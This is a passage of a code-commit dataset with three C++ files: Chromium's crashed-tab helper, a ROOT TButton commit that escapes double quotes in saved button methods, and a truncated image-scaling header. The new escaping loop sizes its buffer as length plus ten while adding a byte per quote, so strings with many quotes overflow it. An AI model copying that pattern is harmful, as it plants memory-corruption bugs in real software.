license that can be\n\/\/ found in the LICENSE file.\n\n#include \"chrome\/browser\/ui\/sad_tab_helper.h\"\n\n#include \"chrome\/browser\/browser_shutdown.h\"\n#include \"content\/public\/browser\/notification_source.h\"\n#include \"content\/public\/browser\/notification_types.h\"\n#include \"content\/public\/browser\/web_contents.h\"\n#include \"content\/public\/browser\/web_contents_view.h\"\n\n#if defined(OS_MACOSX)\n#include \"chrome\/browser\/ui\/cocoa\/tab_contents\/sad_tab_controller.h\"\n#elif defined(TOOLKIT_VIEWS)\n#include \"chrome\/browser\/ui\/views\/sad_tab_view.h\"\n#include \"ui\/views\/widget\/widget.h\"\n#elif defined(TOOLKIT_GTK)\n\n#include <gtk\/gtk.h>\n\n#include \"chrome\/browser\/tab_contents\/chrome_web_contents_view_delegate_gtk.h\"\n#include \"chrome\/browser\/ui\/gtk\/sad_tab_gtk.h\"\n#endif\n\nusing content::WebContents;\n\nSadTabHelper::SadTabHelper(WebContents* web_contents)\n    : content::WebContentsObserver(web_contents) {\n  registrar_.Add(this, content::NOTIFICATION_WEB_CONTENTS_CONNECTED,\n                 content::Source<WebContents>(web_contents));\n}\n\nSadTabHelper::~SadTabHelper() {\n}\n\nvoid SadTabHelper::RenderViewGone(base::TerminationStatus status) {\n  \/\/ Only show the sad tab if we're not in browser shutdown, so that TabContents\n  \/\/ objects that are not in a browser (e.g., HTML dialogs) and thus are\n  \/\/ visible do not flash a sad tab page.\n  if (browser_shutdown::GetShutdownType() != browser_shutdown::NOT_VALID)\n    return;\n\n  if (HasSadTab())\n    return;\n\n  InstallSadTab(status);\n}\n\nvoid SadTabHelper::Observe(int type,\n                           const content::NotificationSource& source,\n                           const content::NotificationDetails& details) {\n  switch (type) {\n    case content::NOTIFICATION_WEB_CONTENTS_CONNECTED:\n      if (HasSadTab()) {\n#if defined(OS_MACOSX)\n        sad_tab_controller_mac::RemoveSadTab(sad_tab_.get());\n#elif defined(TOOLKIT_VIEWS)\n        sad_tab_->Close();\n        \/\/ See http:\/\/crbug.com\/117668. When the Widget is being destructed, we\n        \/\/ want calls to sad_tab() to return NULL.\n        scoped_ptr<views::Widget> local_sad_tab;\n        local_sad_tab.swap(sad_tab_);\n#elif defined(TOOLKIT_GTK)\n        GtkWidget* expanded_container =\n            ChromeWebContentsViewDelegateGtk::GetFor(web_contents())->\n                expanded_container();\n        gtk_container_remove(\n            GTK_CONTAINER(expanded_container), sad_tab_->widget());\n#else\n#error Unknown platform\n#endif\n        sad_tab_.reset();\n      }\n      break;\n\n    default:\n      NOTREACHED() << \"Got a notification we didn't register for.\";\n  }\n}\n\nvoid SadTabHelper::InstallSadTab(base::TerminationStatus status) {\n#if defined(OS_MACOSX)\n  sad_tab_.reset(\n      sad_tab_controller_mac::CreateSadTabController(web_contents()));\n#elif defined(TOOLKIT_VIEWS)\n  SadTabView::Kind kind =\n      status == base::TERMINATION_STATUS_PROCESS_WAS_KILLED ?\n      SadTabView::KILLED : SadTabView::CRASHED;\n  views::Widget::InitParams sad_tab_params(\n      views::Widget::InitParams::TYPE_CONTROL);\n  \/\/ It is not possible to create a native_widget_win that has no parent in\n  \/\/ and later re-parent it.\n  \/\/ TODO(avi): This is a cheat. Can this be made cleaner?\n  sad_tab_params.parent = web_contents()->GetView()->GetNativeView();\n  sad_tab_params.ownership =\n      views::Widget::InitParams::WIDGET_OWNS_NATIVE_WIDGET;\n  sad_tab_.reset(new views::Widget);\n  sad_tab_->Init(sad_tab_params);\n  sad_tab_->SetContentsView(new SadTabView(web_contents(), kind));\n\n  views::Widget::ReparentNativeView(\n      sad_tab_->GetNativeView(), web_contents()->GetView()->GetNativeView());\n  gfx::Rect bounds;\n  web_contents()->GetView()->GetContainerBounds(&bounds);\n  sad_tab_->SetBounds(gfx::Rect(bounds.size()));\n#elif defined(TOOLKIT_GTK)\n  sad_tab_.reset(new SadTabGtk(\n      web_contents(),\n      status == base::TERMINATION_STATUS_PROCESS_WAS_KILLED\n          ? SadTabGtk::KILLED\n          : SadTabGtk::CRASHED));\n  GtkWidget* expanded_container =\n      ChromeWebContentsViewDelegateGtk::GetFor(web_contents())->\n          expanded_container();\n  gtk_container_add(GTK_CONTAINER(expanded_container), sad_tab_->widget());\n  gtk_widget_show(sad_tab_->widget());\n#else\n#error Unknown platform\n#endif\n}\n\nbool SadTabHelper::HasSadTab() {\n  return sad_tab_.get() != NULL;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/ @(#)root\/gpad:$Name:  $:$Id: TButton.cxx,v 1.2 2000\/06\/13 11:25:02 brun Exp $\n\/\/ Author: Rene Brun   01\/07\/96\n\n\/*************************************************************************\n * Copyright (C) 1995-2000, Rene Brun and Fons Rademakers.               *\n * All rights reserved.                                                  *\n *                                                                       *\n * For the licensing terms see $ROOTSYS\/LICENSE.                         *\n * For the list of contributors see $ROOTSYS\/README\/CREDITS.             *\n *************************************************************************\/\n\n#include <fstream.h>\n#include \"TROOT.h\"\n#include \"TButton.h\"\n#include \"TCanvas.h\"\n#include \"TLatex.h\"\n\n#include <string.h>\n\nClassImp(TButton)\n\n\/\/______________________________________________________________________________\n\/\/  A TButton object is a user interface object.\n\/\/  A TButton has a name and an associated action.\n\/\/  When the button is clicked with the left mouse button, the cooresponding\n\/\/  action is executed.\n\/\/  A Tbutton can be created by direct invokation of the constructors\n\/\/  or via the graphics editor.\n\/\/  The Action can be set via TButton::SetMethod.\n\/\/  The action can be any command. Examples of actions:\n\/\/     \"34+78\" When the button is clicked, the result of addition is printed.\n\/\/     \".x macro.C\" . Clicking the button executes the macro macro.C\n\/\/  The action can be modified at any time via TButton::SetMethod.\n\/\/\n\/\/  To modify the layout\/size\/contents of one or several buttons\n\/\/  in a canvas, you must set the canvas editable via TCanvas::SetEditable.\n\/\/  By default a TCanvas is editable.\n\/\/  By default a TDialogCanvas is not editable.\n\/\/  TButtons are in general placed in a TDialogCanvas.\n\/\/\n\/\/  A TButton being a TPad, one can draw graphics primitives in it\n\/\/  when the TCanvas\/TDialogCanvas is editable.\n\/\/\n\/\/       Example of a macro creating a dialogcanvas with buttons\n\/\/void but() {\n\/\/\/\/   example of a dialogcanvas with a few buttons\n\/\/\n\/\/   TDialogCanvas *dialog = new TDialogCanvas(\"dialog\",\"\",200,300);\n\/\/\n\/\/\/\/ Create first button. Clicking on this button will execute 34+56\n\/\/   TButton *but1 = new TButton(\"button1\",\"34+56\",.05,.8,.45,.88);\n\/\/   but1->Draw();\n\/\/\n\/\/\/\/ Create second button. Clicking on this button will create a new canvas\n\/\/   TButton *but2 = new TButton(\"canvas\",\"c2 = new TCanvas(\\\"c2\\\")\",.55,.8,.95,.88);\n\/\/   but2->Draw();\n\/\/\n\/\/\/\/ Create third button. Clicking on this button will invoke the browser\n\/\/   but3 = new TButton(\"Browser\",\"br = new TBrowser(\\\"br\\\")\",0.25,0.54,0.75,0.64);\n\/\/   but3->SetFillColor(42);\n\/\/   but3->Draw();\n\/\/\n\/\/\/\/ Create last button with no name. Instead a graph is draw inside the button\n\/\/\/\/ Clicking on this button will invoke the macro tutorials\/graph.C\n\/\/   button = new TButton(\"\",\".x tutorials\/graph.C\",0.15,0.15,0.85,0.38);\n\/\/   button->SetFillColor(42);\n\/\/   button->Draw();\n\/\/   button->cd();\n\/\/\n\/\/   Double_t x[8] = {0.08,0.21,0.34,0.48,0.61,0.7,0.81,0.92};\n\/\/   Double_t y[8] = {0.2,0.65,0.4,0.34,0.24,0.43,0.75,0.52};\n\/\/   TGraph *graph = new TGraph(8,x,y);\n\/\/   graph->SetMarkerColor(4);\n\/\/   graph->SetMarkerStyle(21);\n\/\/   graph->Draw(\"lp\");\n\/\/\n\/\/   dialog->cd();\n\/\/}\n\/\/\n\/\/   Executing the macro above produces the following dialogcanvas\n\/\/Begin_Html\n\/*\n<img src=\"gif\/dialogbuttons.gif\">\n*\/\n\/\/End_Html\n\n\/\/______________________________________________________________________________\nTButton::TButton(): TPad()\n{\n\/\/*-*-*-*-*-*-*-*-*-*-*Button default constructor*-*-*-*-*-*-*-*-*-*-*-*-*\n\/\/*-*                  ==========================\n\n   SetEditable(kFALSE);\n}\n\n\/\/______________________________________________________________________________\nTButton::TButton(const char *title, const char *method, Double_t x1, Double_t y1,Double_t x2, Double_t  y2)\n           :TPad(\"button\",title,x1,y1,x2,y2,18,2,1), TAttText(22,0,1,61,0.65)\n{\n\/\/*-*-*-*-*-*-*-*-*-*-*Button normal constructor*-*-*-*-*-*-*-*-*-*-*-*-*-*\n\/\/*-*                  =========================\n\/\/\n\/\/   Note that the button coordinates x1,y1,x2,y2 are always in the range [0,1]\n\/\/\n   \/\/SetEditable(kFALSE);\n   fFraming=0;\n   SetBit(kCanDelete);\n   fModified = kTRUE;\n   fMethod = method;\n   if (strlen(title)) {\n      TLatex *text = new TLatex(0.5*(fX1+fX2),0.5*(fY1+fY2),title);\n      fPrimitives->Add(text);\n   }\n   SetEditable(kFALSE);\n}\n\n\/\/______________________________________________________________________________\nTButton::~TButton()\n{\n\/\/*-*-*-*-*-*-*-*-*-*-*Button default destructor*-*-*-*-*-*-*-*-*-*-*-*-*-*\n\/\/*-*                  =========================\n\n   if (fPrimitives) fPrimitives->Delete();\n}\n\n\/\/______________________________________________________________________________\nvoid TButton::Draw(Option_t *option)\n{\n\/\/*-*-*-*-*-*-*-*-*-*-*Draw this button with its current attributes*-*-*-*-*\n\/\/*-*                  ============================================\n\n   AppendPad(option);\n}\n\n\/\/______________________________________________________________________________\nvoid TButton::ExecuteEvent(Int_t event, Int_t px, Int_t py)\n{\n\/\/*-*-*-*-*-*-*-*-*-*-*Execute action corresponding to one event*-*-*-*\n\/\/*-*                  =========================================\n\/\/  This member function is called when a Button object is clicked.\n\/\/\n\n   \/\/check case where pressing a button deletes itself\n   if (!TestBit(kNotDeleted)) return;\n\n   if (IsEditable()) {\n      TPad::ExecuteEvent(event,px,py);\n      return;\n   }\n\n   TPad *cdpad = (TPad*)gROOT->GetSelectedPad();\n   HideToolTip(event);\n\n   switch (event) {\n\n   case kMouseEnter:\n      TPad::ExecuteEvent(event,px,py);\n      break;\n\n   case kButton1Down:\n      SetBorderMode(-1);\n      fFocused=1;\n      Modified();\n\/\/      GetCanvas()->Modified();\n      Update();\n      break;\n\n   case kMouseMotion:\n\n      break;\n\n   case kButton1Motion:\n      if (px<XtoAbsPixel(1) && px>XtoAbsPixel(0) &&\n          py<YtoAbsPixel(0) && py>YtoAbsPixel(1)) {\n         if (!fFocused) {\n            SetBorderMode(-1);\n            fFocused=1;\n            Modified();\n            GetCanvas()->Modified();\n            Update();\n         }\n      } else if (fFocused) {\n         SetBorderMode(1);\n         fFocused=0;\n         Modified();\n         GetCanvas()->Modified();\n         Update();\n      }\n      break;\n\n   case kButton1Up:\n      SetCursor(kWatch);\n      if (fFocused) {\n         if (cdpad) cdpad->cd();\n         gROOT->ProcessLine(GetMethod());\n      }\n      \/\/check case where pressing a button deletes itself\n     if (!TestBit(kNotDeleted)) return;\n#ifndef WIN32\n      SetBorderMode(1);\n      Modified();\n\/\/      GetCanvas()->Modified();\n      Update();\n#else\n      \/\/ The following instructions must be executed via the interpreter\n      \/\/ Otherwise, we get a Thread problem under WindowsNT\n      gROOT->ProcessLine(Form(\"((TButton*)0x%lx)->SetBorderMode(1);\",(Long_t)this));\n      gROOT->ProcessLine(Form(\"((TButton*)0x%lx)->Modified();\",(Long_t)this));\n      gROOT->ProcessLine(Form(\"((TButton*)0x%lx)->GetCanvas()->Modified();\",(Long_t)this));\n      gROOT->ProcessLine(Form(\"((TButton*)0x%lx)->Update();\",(Long_t)this));\n#endif\n      SetCursor(kCross);\n      break;\n   }\n}\n\n\/\/______________________________________________________________________________\nvoid TButton::Paint(Option_t *option)\n{\n\/\/*-*-*-*-*-*-*-*-*-*-*Paint this button with its current attributes*-*-*-*\n\/\/*-*                  =============================================\n\n   TPad::Paint(option);  \/\/only called for Postscript print\n}\n\n\n\/\/______________________________________________________________________________\nvoid TButton::PaintModified()\n{\n   TObject *obj = GetListOfPrimitives()->First();\n   if (obj && obj->InheritsFrom(\"TText\")) {\n      TLatex *text = (TLatex*)obj;\n\/\/TVirtualPad *padsav = gPad;\n\/\/gPad = 0;\n      text->SetTitle(GetTitle());\n\/\/gPad = padsav;\n      text->SetTextSize(GetTextSize());\n      text->SetTextFont(GetTextFont());\n      text->SetTextAlign(GetTextAlign());\n      text->SetTextColor(GetTextColor());\n      text->SetTextAngle(GetTextAngle());\n   }\n   TPad::PaintModified();\n}\n\n\/\/______________________________________________________________________________\nvoid TButton::Range(Double_t x1, Double_t y1, Double_t x2, Double_t y2)\n{\n\/\/*-*-*-*-*-*-*-*-*-*-*Set world coordinate system for the pad*-*-*-*-*-*-*\n\/\/*-*                  =======================================\n\n   TPad::Range(x1,y1,x2,y2);\n}\n\n\/\/______________________________________________________________________________\nvoid TButton::SavePrimitive(ofstream &out, Option_t *)\n{\n    \/\/ Save primitive as a C++ statement(s) on output stream out\n\n   TPad *padsav = (TPad*)gPad;\n   char quote = '\"';\n   if (gROOT->ClassSaved(TButton::Class())) {\n       out<<\"   \";\n   } else {\n       out<<\"   TButton *\";\n   }\n   out<<\"button = new TButton(\"<<quote<<GetTitle()\n      <<quote<<\",\"<<quote<<GetMethod()<<quote\n      <<\",\"<<fXlowNDC\n      <<\",\"<<fYlowNDC\n      <<\",\"<<fXlowNDC+fWNDC\n      <<\",\"<<fYlowNDC+fHNDC\n      <<\");\"<<endl;\n\n   SaveFillAttributes(out,\"button\",0,1001);\n   SaveLineAttributes(out,\"button\",1,1,1);\n   SaveTextAttributes(out,\"button\",22,0,1,61,.65);\n\n   if (GetBorderSize() != 2) {\n      out<<\"   button->SetBorderSize(\"<<GetBorderSize()<<\");\"<<endl;\n   }\n   if (GetBorderMode() != 1) {\n      out<<\"   button->SetBorderMode(\"<<GetBorderMode()<<\");\"<<endl;\n   }\n\n   if (GetFraming()) out<<\"button->SetFraming();\"<<endl;\n   if (IsEditable()) out<<\"button->SetEditable(kTRUE);\"<<endl;\n\n   out<<\"   button->Draw();\"<<endl;\n\n   TIter next(GetListOfPrimitives());\n   TObject *obj = next();  \/\/do not save first primitive\n\n   Int_t nprim = 0;\n   while ((obj = next())) {\n       if (!nprim) out<<\"   button->cd();\"<<endl;\n       nprim++;\n       obj->SavePrimitive(out, (Option_t *)next.GetOption());\n   }\n\n   if (nprim) out<<\"   \"<<padsav->GetName()<<\"->cd();\"<<endl;\n   padsav->cd();\n}\n\n\/\/______________________________________________________________________________\nvoid TButton::SetFraming(Bool_t f)\n{\n\/\/ if framing is set, button will be highlighted\n\n   fFraming=f;\n   if (f) SetBit(kFraming);\n   else   ResetBit(kFraming);\n}\n<commit_msg> In TButton::SavePrimitive insert a backslash in the printed button method in case the method includes double quotes.<commit_after>\/\/ @(#)root\/gpad:$Name:  $:$Id: TButton.cxx,v 1.3 2001\/05\/28 06:21:47 brun Exp $\n\/\/ Author: Rene Brun   01\/07\/96\n\n\/*************************************************************************\n * Copyright (C) 1995-2000, Rene Brun and Fons Rademakers.               *\n * All rights reserved.                                                  *\n *                                                                       *\n * For the licensing terms see $ROOTSYS\/LICENSE.                         *\n * For the list of contributors see $ROOTSYS\/README\/CREDITS.             *\n *************************************************************************\/\n\n#include <fstream.h>\n#include \"TROOT.h\"\n#include \"TButton.h\"\n#include \"TCanvas.h\"\n#include \"TLatex.h\"\n\n#include <string.h>\n\nClassImp(TButton)\n\n\/\/______________________________________________________________________________\n\/\/  A TButton object is a user interface object.\n\/\/  A TButton has a name and an associated action.\n\/\/  When the button is clicked with the left mouse button, the cooresponding\n\/\/  action is executed.\n\/\/  A Tbutton can be created by direct invokation of the constructors\n\/\/  or via the graphics editor.\n\/\/  The Action can be set via TButton::SetMethod.\n\/\/  The action can be any command. Examples of actions:\n\/\/     \"34+78\" When the button is clicked, the result of addition is printed.\n\/\/     \".x macro.C\" . Clicking the button executes the macro macro.C\n\/\/  The action can be modified at any time via TButton::SetMethod.\n\/\/\n\/\/  To modify the layout\/size\/contents of one or several buttons\n\/\/  in a canvas, you must set the canvas editable via TCanvas::SetEditable.\n\/\/  By default a TCanvas is editable.\n\/\/  By default a TDialogCanvas is not editable.\n\/\/  TButtons are in general placed in a TDialogCanvas.\n\/\/\n\/\/  A TButton being a TPad, one can draw graphics primitives in it\n\/\/  when the TCanvas\/TDialogCanvas is editable.\n\/\/\n\/\/       Example of a macro creating a dialogcanvas with buttons\n\/\/void but() {\n\/\/\/\/   example of a dialogcanvas with a few buttons\n\/\/\n\/\/   TDialogCanvas *dialog = new TDialogCanvas(\"dialog\",\"\",200,300);\n\/\/\n\/\/\/\/ Create first button. Clicking on this button will execute 34+56\n\/\/   TButton *but1 = new TButton(\"button1\",\"34+56\",.05,.8,.45,.88);\n\/\/   but1->Draw();\n\/\/\n\/\/\/\/ Create second button. Clicking on this button will create a new canvas\n\/\/   TButton *but2 = new TButton(\"canvas\",\"c2 = new TCanvas(\\\"c2\\\")\",.55,.8,.95,.88);\n\/\/   but2->Draw();\n\/\/\n\/\/\/\/ Create third button. Clicking on this button will invoke the browser\n\/\/   but3 = new TButton(\"Browser\",\"br = new TBrowser(\\\"br\\\")\",0.25,0.54,0.75,0.64);\n\/\/   but3->SetFillColor(42);\n\/\/   but3->Draw();\n\/\/\n\/\/\/\/ Create last button with no name. Instead a graph is draw inside the button\n\/\/\/\/ Clicking on this button will invoke the macro tutorials\/graph.C\n\/\/   button = new TButton(\"\",\".x tutorials\/graph.C\",0.15,0.15,0.85,0.38);\n\/\/   button->SetFillColor(42);\n\/\/   button->Draw();\n\/\/   button->cd();\n\/\/\n\/\/   Double_t x[8] = {0.08,0.21,0.34,0.48,0.61,0.7,0.81,0.92};\n\/\/   Double_t y[8] = {0.2,0.65,0.4,0.34,0.24,0.43,0.75,0.52};\n\/\/   TGraph *graph = new TGraph(8,x,y);\n\/\/   graph->SetMarkerColor(4);\n\/\/   graph->SetMarkerStyle(21);\n\/\/   graph->Draw(\"lp\");\n\/\/\n\/\/   dialog->cd();\n\/\/}\n\/\/\n\/\/   Executing the macro above produces the following dialogcanvas\n\/\/Begin_Html\n\/*\n<img src=\"gif\/dialogbuttons.gif\">\n*\/\n\/\/End_Html\n\n\/\/______________________________________________________________________________\nTButton::TButton(): TPad()\n{\n\/\/*-*-*-*-*-*-*-*-*-*-*Button default constructor*-*-*-*-*-*-*-*-*-*-*-*-*\n\/\/*-*                  ==========================\n\n   SetEditable(kFALSE);\n}\n\n\/\/______________________________________________________________________________\nTButton::TButton(const char *title, const char *method, Double_t x1, Double_t y1,Double_t x2, Double_t  y2)\n           :TPad(\"button\",title,x1,y1,x2,y2,18,2,1), TAttText(22,0,1,61,0.65)\n{\n\/\/*-*-*-*-*-*-*-*-*-*-*Button normal constructor*-*-*-*-*-*-*-*-*-*-*-*-*-*\n\/\/*-*                  =========================\n\/\/\n\/\/   Note that the button coordinates x1,y1,x2,y2 are always in the range [0,1]\n\/\/\n   \/\/SetEditable(kFALSE);\n   fFraming=0;\n   SetBit(kCanDelete);\n   fModified = kTRUE;\n   fMethod = method;\n   if (strlen(title)) {\n      TLatex *text = new TLatex(0.5*(fX1+fX2),0.5*(fY1+fY2),title);\n      fPrimitives->Add(text);\n   }\n   SetEditable(kFALSE);\n}\n\n\/\/______________________________________________________________________________\nTButton::~TButton()\n{\n\/\/*-*-*-*-*-*-*-*-*-*-*Button default destructor*-*-*-*-*-*-*-*-*-*-*-*-*-*\n\/\/*-*                  =========================\n\n   if (fPrimitives) fPrimitives->Delete();\n}\n\n\/\/______________________________________________________________________________\nvoid TButton::Draw(Option_t *option)\n{\n\/\/*-*-*-*-*-*-*-*-*-*-*Draw this button with its current attributes*-*-*-*-*\n\/\/*-*                  ============================================\n\n   AppendPad(option);\n}\n\n\/\/______________________________________________________________________________\nvoid TButton::ExecuteEvent(Int_t event, Int_t px, Int_t py)\n{\n\/\/*-*-*-*-*-*-*-*-*-*-*Execute action corresponding to one event*-*-*-*\n\/\/*-*                  =========================================\n\/\/  This member function is called when a Button object is clicked.\n\/\/\n\n   \/\/check case where pressing a button deletes itself\n   if (!TestBit(kNotDeleted)) return;\n\n   if (IsEditable()) {\n      TPad::ExecuteEvent(event,px,py);\n      return;\n   }\n\n   TPad *cdpad = (TPad*)gROOT->GetSelectedPad();\n   HideToolTip(event);\n\n   switch (event) {\n\n   case kMouseEnter:\n      TPad::ExecuteEvent(event,px,py);\n      break;\n\n   case kButton1Down:\n      SetBorderMode(-1);\n      fFocused=1;\n      Modified();\n\/\/      GetCanvas()->Modified();\n      Update();\n      break;\n\n   case kMouseMotion:\n\n      break;\n\n   case kButton1Motion:\n      if (px<XtoAbsPixel(1) && px>XtoAbsPixel(0) &&\n          py<YtoAbsPixel(0) && py>YtoAbsPixel(1)) {\n         if (!fFocused) {\n            SetBorderMode(-1);\n            fFocused=1;\n            Modified();\n            GetCanvas()->Modified();\n            Update();\n         }\n      } else if (fFocused) {\n         SetBorderMode(1);\n         fFocused=0;\n         Modified();\n         GetCanvas()->Modified();\n         Update();\n      }\n      break;\n\n   case kButton1Up:\n      SetCursor(kWatch);\n      if (fFocused) {\n         if (cdpad) cdpad->cd();\n         gROOT->ProcessLine(GetMethod());\n      }\n      \/\/check case where pressing a button deletes itself\n     if (!TestBit(kNotDeleted)) return;\n#ifndef WIN32\n      SetBorderMode(1);\n      Modified();\n\/\/      GetCanvas()->Modified();\n      Update();\n#else\n      \/\/ The following instructions must be executed via the interpreter\n      \/\/ Otherwise, we get a Thread problem under WindowsNT\n      gROOT->ProcessLine(Form(\"((TButton*)0x%lx)->SetBorderMode(1);\",(Long_t)this));\n      gROOT->ProcessLine(Form(\"((TButton*)0x%lx)->Modified();\",(Long_t)this));\n      gROOT->ProcessLine(Form(\"((TButton*)0x%lx)->GetCanvas()->Modified();\",(Long_t)this));\n      gROOT->ProcessLine(Form(\"((TButton*)0x%lx)->Update();\",(Long_t)this));\n#endif\n      SetCursor(kCross);\n      break;\n   }\n}\n\n\/\/______________________________________________________________________________\nvoid TButton::Paint(Option_t *option)\n{\n\/\/*-*-*-*-*-*-*-*-*-*-*Paint this button with its current attributes*-*-*-*\n\/\/*-*                  =============================================\n\n   TPad::Paint(option);  \/\/only called for Postscript print\n}\n\n\n\/\/______________________________________________________________________________\nvoid TButton::PaintModified()\n{\n   TObject *obj = GetListOfPrimitives()->First();\n   if (obj && obj->InheritsFrom(\"TText\")) {\n      TLatex *text = (TLatex*)obj;\n\/\/TVirtualPad *padsav = gPad;\n\/\/gPad = 0;\n      text->SetTitle(GetTitle());\n\/\/gPad = padsav;\n      text->SetTextSize(GetTextSize());\n      text->SetTextFont(GetTextFont());\n      text->SetTextAlign(GetTextAlign());\n      text->SetTextColor(GetTextColor());\n      text->SetTextAngle(GetTextAngle());\n   }\n   TPad::PaintModified();\n}\n\n\/\/______________________________________________________________________________\nvoid TButton::Range(Double_t x1, Double_t y1, Double_t x2, Double_t y2)\n{\n\/\/*-*-*-*-*-*-*-*-*-*-*Set world coordinate system for the pad*-*-*-*-*-*-*\n\/\/*-*                  =======================================\n\n   TPad::Range(x1,y1,x2,y2);\n}\n\n\/\/______________________________________________________________________________\nvoid TButton::SavePrimitive(ofstream &out, Option_t *)\n{\n    \/\/ Save primitive as a C++ statement(s) on output stream out\n\n   TPad *padsav = (TPad*)gPad;\n   char quote = '\"';\n   if (gROOT->ClassSaved(TButton::Class())) {\n       out<<\"   \";\n   } else {\n       out<<\"   TButton *\";\n   }\n   char *cm = (char*)GetMethod();\n   Int_t nch = strlen(cm);\n   char *cmethod = new char[nch+10];\n   Int_t i = 0;\n   while(*cm) {\n      if (*cm == '\"') {\n         cmethod[i] = '\\\\';\n         i++;\n      }\n      cmethod[i] = *cm;\n      i++;\n      cm++;\n   }\n   cmethod[i] = 0;\n   out<<\"button = new TButton(\"<<quote<<GetTitle()\n      <<quote<<\",\"<<quote<<cmethod<<quote\n      <<\",\"<<fXlowNDC\n      <<\",\"<<fYlowNDC\n      <<\",\"<<fXlowNDC+fWNDC\n      <<\",\"<<fYlowNDC+fHNDC\n      <<\");\"<<endl;\n   delete [] cmethod;\n   \n   SaveFillAttributes(out,\"button\",0,1001);\n   SaveLineAttributes(out,\"button\",1,1,1);\n   SaveTextAttributes(out,\"button\",22,0,1,61,.65);\n\n   if (GetBorderSize() != 2) {\n      out<<\"   button->SetBorderSize(\"<<GetBorderSize()<<\");\"<<endl;\n   }\n   if (GetBorderMode() != 1) {\n      out<<\"   button->SetBorderMode(\"<<GetBorderMode()<<\");\"<<endl;\n   }\n\n   if (GetFraming()) out<<\"button->SetFraming();\"<<endl;\n   if (IsEditable()) out<<\"button->SetEditable(kTRUE);\"<<endl;\n\n   out<<\"   button->Draw();\"<<endl;\n\n   TIter next(GetListOfPrimitives());\n   TObject *obj = next();  \/\/do not save first primitive\n\n   Int_t nprim = 0;\n   while ((obj = next())) {\n       if (!nprim) out<<\"   button->cd();\"<<endl;\n       nprim++;\n       obj->SavePrimitive(out, (Option_t *)next.GetOption());\n   }\n\n   if (nprim) out<<\"   \"<<padsav->GetName()<<\"->cd();\"<<endl;\n   padsav->cd();\n}\n\n\/\/______________________________________________________________________________\nvoid TButton::SetFraming(Bool_t f)\n{\n\/\/ if framing is set, button will be highlighted\n\n   fFraming=f;\n   if (f) SetBit(kFraming);\n   else   ResetBit(kFraming);\n}\n<|endoftext|>"}
{"text":"<commit_before>#pragma once\n\/\/=====================================================================\/\/\n\/*!\t@file\n\t@brief\tスケーリング（拡大、縮小）\n    @author 平松邦仁 (hira@rvf-rc45.net)\n\t@copyright\tCopyright (C) 2018 Kunihito Hiramatsu @n\n\t\t\t\tReleased under the MIT license @n\n\t\t\t\thttps:\/\/github.com\/hirakuni45\/RX\/blob\/master\/LICENSE\n*\/\n\/\/=====================================================================\/\/\n#include <cstdint>\n#include <cmath>\n#include \"common\/vtx.hpp\"\n#include \"graphics\/color.hpp\"\n\/\/ #include <unordered_map>\n\nnamespace img {\n\n\t\/\/+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\/\/\n\t\/*!\n\t\t@brief\tスケーリング・クラス\n\t\t@param[in]\tRENDER\tレンダー・クラス\n\t*\/\n\t\/\/+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\/\/\n\ttemplate <class RENDER>\n\tclass scaling {\n\n\t\tRENDER&\t\trender_;\n\n\t\tstruct xy_pad {\n\t\t\tuint32_t\tr;\n\t\t\tuint32_t\tg;\n\t\t\tuint32_t\tb;\n\t\t\tuint32_t\tcnt;\n\t\t};\n\n\/\/\t\ttypedef std::unordered_map<uint32_t, xy_pad> MAP;\n\/\/\t\tMAP\t\t\tmap_;\n\n#if 0\n\t\tstatic float sinc_(float l)\n\t\t{\n\t\t\treturn std::sin(vtx::get_pi<float>() * l) \/ (vtx::get_pi<float>() * l);\n\t\t}\n\n\n\t\tstatic float lanczos_(float d, float n)\n\t\t{\n\t\t\tif(d == 0.0f) {\n\t\t\t\treturn 1.0f;\n\t\t\t} else if(std::abs(d) >= n) {\n\t\t\t\treturn 0.0f;\n\t\t\t} else {\n\t\t\t\treturn sinc_(d) * sinc_(d \/ n);\n\t\t\t}\n\t\t}\n\n\n\t\tfloat lanczos_tbl_[(12 + 1) * (12 + 1)];\n\t\tfloat lanczos_n_;\n\t\t\/\/ -3.0, -2.5, -2.0, -1.5, -1.0, -0.5, 0.0, 0.5, 1.0, 1.5, 2.0, 2.5, 3.0\n\t\tvoid init_lanczos_(float n)\n\t\t{\n\t\t\tif(lanczos_n_ == n) return;\n\n\t\t\tfloat y = -3.0f;\n\t\t\tfor(int i = 0; i < (12 + 1); ++i) {\n\t\t\t\tfloat yl = lanczos_(y, n);\n\t\t\t\tfloat x = -3.0f;\n\t\t\t\tfor(int j = 0; j < (12 + 1); ++j) {\n\t\t\t\t\tfloat xl = lanczos_(x, n);\n\t\t\t\t\tlanczos_tbl_[i * (12 + 1) + j] = xl * yl;\n\t\t\t\t\tx += 0.5f;\n\t\t\t\t}\n\t\t\t\ty += 0.5f;\n\t\t\t}\n\t\t\tlanczos_n_ = n;\n\t\t}\n\n\n\t\tfloat lanczos_t_(float x, float y, float n)\n\t\t{\n\t\t\tint i = static_cast<int>(y * 2.0f);\n\t\t\ti += 6;\n\t\t\tint j = static_cast<int>(x * 2.0f);\n\t\t\tj += 6;\n\t\t\tif(i >= 0 && i < (12 + 1) && j >= 0 && j < (12 + 1)) {\n\t\t\t\treturn lanczos_tbl_[i * (12 + 1) + j];\n\t\t\t} else {\n\t\t\t\treturn lanczos_(x, n) * lanczos_(y, n);\n\t\t\t}\n\t\t}\n#endif\n\n#if 0\n\tstatic void color_div_(const rgbaf& col, float total, rgba8& c)\n\t{\n\t\trgbaf cc;\n\t\tif(total != 0.0f) {\n\t\t\tfloat sf = 1.0f \/ total;\n\t\t\tcc.r = col.r * sf;\n\t\t\tcc.g = col.g * sf;\n\t\t\tcc.b = col.b * sf;\n\t\t\tcc.a = col.a * sf;\n\t\t} else {\n\t\t\tcc = col;\n\t\t}\n\n\t\tif(cc.r < 0.0f) {\n\t\t\tc.r = 0;\n\t\t} else if(cc.r > 255.0f) {\n\t\t\tc.r = 255;\n\t\t} else {\n\t\t\tc.r = static_cast<unsigned char>(cc.r);\n\t\t}\n\n\t\tif(cc.g < 0.0f) {\n\t\t\tc.g = 0;\n\t\t} else if(cc.g > 255.0f) {\n\t\t\tc.g = 255;\n\t\t} else {\n\t\t\tc.g = static_cast<unsigned char>(cc.g);\n\t\t}\n\n\t\tif(cc.b < 0.0f) {\n\t\t\tc.b = 0;\n\t\t} else if(cc.b > 255.0f) {\n\t\t\tc.b = 255;\n\t\t} else {\n\t\t\tc.b = 